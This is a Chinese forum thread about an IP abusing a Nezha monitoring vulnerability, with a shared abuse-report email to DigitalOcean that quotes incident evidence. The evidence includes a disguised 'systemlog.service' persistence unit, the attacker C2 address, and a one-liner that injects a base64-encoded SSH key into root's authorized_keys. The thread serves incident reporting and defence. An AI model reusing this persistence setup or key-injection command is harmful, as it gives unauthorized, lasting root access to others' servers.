哪吒漏洞的后门IP，已被abuse！！！

@mmys0301 #0

给你点赞 ^-^

牛🐮 给你鸡腿🍗

啥意思，哪吒有后门吗

@超管 #3 高危漏洞。。中招的人挺多https://www.nodeseek.com/post-779143-1

只有一两个ip在利用漏洞吗

@Jasper-Hinton #5 这个IP 好像影响挺多的

正义

哦对了

如果还有类似的IP 或者矿池地址

保存好证据 直接发邮件给对应的服务商！！

^-^ ^-^

^-^

@mmys0301 #0 请教楼主，邮件要怎么描述

@johnsy616 #10 ai写一个

@johnsy616 #10

Dear DigitalOcean Abuse Team,



I am writing to formally report a severe security incident and malicious network activity originating from an IP address under your infrastructure: 攻击者ip



This IP has been confirmed as an active Command and Control (C2) server recruiting botnets and maintaining unauthorized access to our Linux server.



[Incident Details]

- Attacker C2 IP: 攻击者ip (Port 80)

- Target Victim IP: 你的ip

- OS Platform: Debian GNU/Linux

- Impact: Credential injection, unauthorized remote management deployment, persistent Trojan activity.



The attacker gained unauthorized root access, injected an SSH public key (gary@gary), and deployed multiple persistent backdoors, including a faked logging service ("systemlog.service") and unauthorized "Nezha" monitoring agents to fully control our resources.



----------------------------------------------------------------------

[CONCRETE EVIDENCE & LOG EXCERPTS]



1. Active Outbound Network Connection to the Attacker's IP (ss output):

As shown in our system, the rogue process "SystemLoger" (PID 877) is actively and persistently initiating connections back to your IP (24.144.123.109:80) under SYN-SENT state:



root@stiff-unique:~# ss -antp | grep 877

SYN-SENT  0  1  你的ip:9340  24.144.123.109:80  users:(("SystemLoger",pid=877,fd=3))



2. Malicious Systemd Service Running Status:

The Trojan masquerades as a standard system tool ("SystemLog Service") located in non-standard directories to evade detection:



● systemlog.service - SystemLog Service

     Loaded: loaded (/etc/systemd/system/systemlog.service; enabled; preset: enabled)

     Active: active (running) since Tue 2026-06-16 08:17:30 BST; 29min ago

 Main PID: 877 (SystemLoger)

   CGroup: /system.slice/systemlog.service

           └─877 /opt/systemlog/SystemLoger



3. Persistence Configuration File (/etc/systemd/system/systemlog.service):

The service is configured with aggressive restart mechanisms to maintain persistent control:



[Unit]

Description=SystemLog Service

After=network.target



[Service]

Type=simple

ExecStart=/opt/systemlog/SystemLoger

Restart=always

RestartSec=5

StandardOutput=append:/tmp/SystemLog.log

StandardError=append:/tmp/SystemLog.log



[Install]

WantedBy=multi-user.target



4. Co-existing Rogue Management Services (systemctl list-units):

Our audit revealed that the attacker also running unauthorized Nezha Agents alongside the faked systemlog service to monitor and command our infrastructure:

- nezha-agent-1106738.service (Loaded active running 哪吒监控 Agent)

- nezha-agent.service         (Loaded active running 哪吒监控 Agent)

- systemlog.service           (Loaded active running SystemLog Service)



5. Injected SSH Key & Commands Evidence:

Observed Injected Key Comment: gary@gary

Observed Backdoor Setup Script: 

mkdir -p /root/.ssh && chmod 700 /root/.ssh && K="$(echo c3NoLWVkMjU1MTkgQUFBQUMzTnphQzFsWkRJMU5URTVBQUFBSU1NRHhObGlMQVIxbExwNWtveE1IUXRkQ04wY05yVjlIUWJ0emFEZk51OEogZ2FyeUBnYXJ5|base64 -d)" && grep -qxF "$K" /root/.ssh/authorized_keys 2>/dev/null || printf "\n%s\n" "$K" >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys

----------------------------------------------------------------------



Given the clear and undeniable log evidence provided above, the Droplet at 24.144.123.109 is actively violating acceptable use policies and poses an immediate threat to internet security. 



Please investigate this asset immediately and take restrictive actions, including suspending the offender's account or blocking its outbound traffic.



Thank you for your swift attention to this security emergency.



Regards,

[你的名字/管理员代称]

[你的联系邮箱]





    

  

@mmys0301 #12 这写的非常专业了